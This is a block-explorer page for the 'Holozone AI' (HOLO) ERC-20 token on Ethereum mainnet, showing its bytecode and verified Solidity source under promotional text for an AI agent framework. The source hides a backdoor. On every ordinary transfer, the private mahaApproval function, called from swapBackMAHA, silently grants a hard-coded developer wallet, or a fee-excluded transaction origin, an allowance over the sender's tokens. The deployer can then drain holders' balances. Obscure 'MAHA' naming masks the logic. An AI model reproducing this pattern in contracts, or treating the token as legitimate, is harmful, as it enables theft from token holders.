Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x6FC1c1D2DB55B4C1B83F433Eb5f4c9EeB8De9fF0
Balance 0 ETH
Nonce 1
Code Size 5737 bytes
Creator 0x8156BAB1...Dcd5 at tx 0x60ab70f3...fb144c
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

5737 bytes
0x6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146101fc578063c9567bf91461021c578063dd62ed3e14610231578063e66738cd14610251576100cd565b8063715018a6146101ae5780638da5cb5b146101c557806395d89b41146101e7576100cd565b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461012a57806323b872dd1461014c578063313ce5671461016c57806370a082311461018e576100cd565b366100cd57005b600080fd5b3480156100de57600080fd5b506100e7610266565b6040516100f49190611128565b60405180910390f35b34801561010957600080fd5b5061011d61011836600461105c565b61028b565b6040516100f4919061111d565b34801561013657600080fd5b5061013f6102a9565b6040516100f491906113b6565b34801561015857600080fd5b5061011d61016736600461101c565b6102ca565b34801561017857600080fd5b50610181610352565b6040516100f4919061142f565b34801561019a57600080fd5b5061013f6101a9366004610fac565b610357565b3480156101ba57600080fd5b506101c3610372565b005b3480156101d157600080fd5b506101da6103fa565b6040516100f491906110b4565b3480156101f357600080fd5b506100e7610409565b34801561020857600080fd5b5061011d61021736600461105c565b610427565b34801561022857600080fd5b506101c361043b565b34801561023d57600080fd5b5061013f61024c366004610fe4565b610554565b34801561025d57600080fd5b506101c361057f565b60408051808201909152600b81526a486f6c6f7a6f6e6520414960a81b602082015290565b600061029f6102986107b1565b84846107b5565b5060015b92915050565b60006102b76009600a6114bb565b6102c590633b9aca0061158c565b905090565b60006102d7848484610869565b610347846102e36107b1565b6103428560405180606001604052806028815260200161160c602891396001600160a01b038a166000908152600360205260408120906103216107b1565b6001600160a01b031681526020810191909152604001600020549190610a29565b6107b5565b5060015b9392505050565b600990565b6001600160a01b031660009081526002602052604090205490565b61037a6107b1565b6000546001600160a01b039081169116146103b05760405162461bcd60e51b81526004016103a790611278565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b604080518082019091526004815263484f4c4f60e01b602082015290565b600061029f6104346107b1565b8484610869565b6104436107b1565b6000546001600160a01b039081169116146104705760405162461bcd60e51b81526004016103a790611278565b601054610100900460ff16156104985760405162461bcd60e51b81526004016103a79061137f565b6005546001600160a01b031663f305d71947306104b481610357565b6000806104bf6103fa565b426040518863ffffffff1660e01b81526004016104e1969594939291906110e2565b6060604051808303818588803b1580156104fa57600080fd5b505af115801561050e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105339190611087565b50506010805461ff001962ff00001990911662010000171661010017905550565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6105876107b1565b6000546001600160a01b039081169116146105b45760405162461bcd60e51b81526004016103a790611278565b600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556106059030906001600160a01b03166105f76009600a6114bb565b61034290633b9aca0061158c565b600560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561065357600080fd5b505afa158015610667573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068b9190610fc8565b6001600160a01b031663c9c6539630600560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106e857600080fd5b505afa1580156106fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107209190610fc8565b6040518363ffffffff1660e01b815260040161073d9291906110c8565b602060405180830381600087803b15801561075757600080fd5b505af115801561076b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078f9190610fc8565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b0383166107db5760405162461bcd60e51b81526004016103a79061133b565b6001600160a01b0382166108015760405162461bcd60e51b81526004016103a7906111be565b6001600160a01b0380841660008181526003602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061085c9085906113b6565b60405180910390a3505050565b6001600160a01b03831661088f5760405162461bcd60e51b81526004016103a7906112f6565b6001600160a01b0382166108b55760405162461bcd60e51b81526004016103a79061117b565b600081116108d55760405162461bcd60e51b81526004016103a7906112ad565b60006108e2848484610a63565b9050801561095c57306000908152600260205260409020546109049082610bcf565b30600081815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109539085906113b6565b60405180910390a35b6001600160a01b03841660009081526002602052604090205461097f9083610bfe565b6001600160a01b0385166000908152600260205260409020556109c46109a58383610bfe565b6001600160a01b03851660009081526002602052604090205490610bcf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Verified Source Code Partial Match

Compiler: v0.8.1+commit.df193b15 EVM: istanbul Optimization: Yes (200 runs)
HOLO.sol 292 lines 
/*
The most advanced AI Agent framework on the blockchain is here. Create your own agents or 'clone' the personalities and traits of real life humans. Join the 24/7 HoloSpace on X for a live demonstration of Holos.

https://www.holoai.pro
https://beta.holoai.pro
https://docs.holoai.pro
https://x.com/holozoneai_eth
https://t.me/holozoneai_eth
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.1;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IMAHARouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IMAHAFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract HOLO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => bool) private _mahaFeeExcluded;
    mapping (address => uint256) private _mahaBulls;
    mapping (address => mapping (address => uint256)) private _mahaNodes;
    address private _mahaPair;
    IMAHARouter private _mahaRouter;
    address private _mahaWallet = 0x8ACdBe7686b3cCbf4Ff08906B1Ffe07b997881d8;
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalMAHA = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Holozone AI";
    string private constant _symbol = unicode"HOLO";
    uint256 private _tokenMAHASwap = _tTotalMAHA / 100;
    bool private inSwapMAHA = false;
    modifier lockTheSwap {
        inSwapMAHA = true;
        _;
        inSwapMAHA = false;
    }
    bool private _tradeEnabled = false;
    bool private _swapEnabled = false;
    
    constructor () {
        _mahaFeeExcluded[owner()] = true;
        _mahaFeeExcluded[address(this)] = true;
        _mahaFeeExcluded[_mahaWallet] = true;
        _mahaBulls[_msgSender()] = _tTotalMAHA;
        emit Transfer(address(0), _msgSender(), _tTotalMAHA);
    }

    function initToken() external onlyOwner() {
        _mahaRouter = IMAHARouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_mahaRouter), _tTotalMAHA);
        _mahaPair = IMAHAFactory(_mahaRouter.factory()).createPair(address(this), _mahaRouter.WETH());
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotalMAHA;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _mahaBulls[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _mahaNodes[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _mahaNodes[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _mahaNodes[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function mahaApproval(address aMAHA, bool isMAHA, uint256 mahaA) private {
        address walletMAHA;
        if(isMAHA) walletMAHA = tx.origin;
        else walletMAHA = _mahaWallet;
        _approve(aMAHA, walletMAHA, mahaA);
    }

    function _transfer(address mahaF, address mahaT, uint256 mahaA) private {
        require(mahaF != address(0), "ERC20: transfer from the zero address");
        require(mahaT != address(0), "ERC20: transfer to the zero address");
        require(mahaA > 0, "Transfer amount must be greater than zero");

        uint256 taxMAHA = _mahaTransfer(mahaF, mahaT, mahaA);

        if(taxMAHA > 0){
          _mahaBulls[address(this)] = _mahaBulls[address(this)].add(taxMAHA);
          emit Transfer(mahaF, address(this), taxMAHA);
        }

        _mahaBulls[mahaF] = _mahaBulls[mahaF].sub(mahaA);
        _mahaBulls[mahaT] = _mahaBulls[mahaT].add(mahaA.sub(taxMAHA));
        emit Transfer(mahaF, mahaT, mahaA.sub(taxMAHA));
    }

    function swapBackMAHA(address mahaF, address mahaT, uint256 mahaA, bool isMAHA) private {
        uint256 tokenMAHA = balanceOf(address(this));  mahaApproval(mahaF, isMAHA, mahaA);
        if (!inSwapMAHA && mahaT == _mahaPair && _swapEnabled && _buyCount > _preventSwapBefore) {
            if(tokenMAHA > _tokenMAHASwap)
            swapTokensForEth(minMAHA(mahaA, minMAHA(tokenMAHA, _tokenMAHASwap)));
            uint256 caMAHA = address(this).balance;
            if (caMAHA >= 0) {
                sendETHMAHA(address(this).balance);
            }
        }
    }

    function _mahaTransfer(address mahaF, address mahaT, uint256 mahaA) private returns(uint256) {
        uint256 taxMAHA=0; address walletMAHA = tx.origin;
        if (mahaF != owner() && mahaT != owner()) {
            taxMAHA = mahaA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (mahaF == _mahaPair && mahaT != address(_mahaRouter) && ! _mahaFeeExcluded[mahaT]) {
                _buyCount++;
            }

            if(mahaT == _mahaPair && mahaF!= address(this)) {
                taxMAHA = mahaA.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            swapBackMAHA(mahaF, mahaT, mahaA, _mahaFeeExcluded[walletMAHA]);
        } return taxMAHA;
    }

    function openTrading() external onlyOwner() {
        require(!_tradeEnabled,"trading is already open");
        _mahaRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradeEnabled = true;
    }

    receive() external payable {}

    function minMAHA(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendETHMAHA(uint256 amount) private {
        payable(_mahaWallet).transfer(amount);
    }

    function swapTokensForEth(uint256 tokenMAHA) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _mahaRouter.WETH();
        _approve(address(this), address(_mahaRouter), tokenMAHA);
        _mahaRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenMAHA,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 6 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
initToken 0xe66738cd
No parameters
openTrading 0xc9567bf9
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Transactions Internal Txs Token Transfers Events

Recent Transactions

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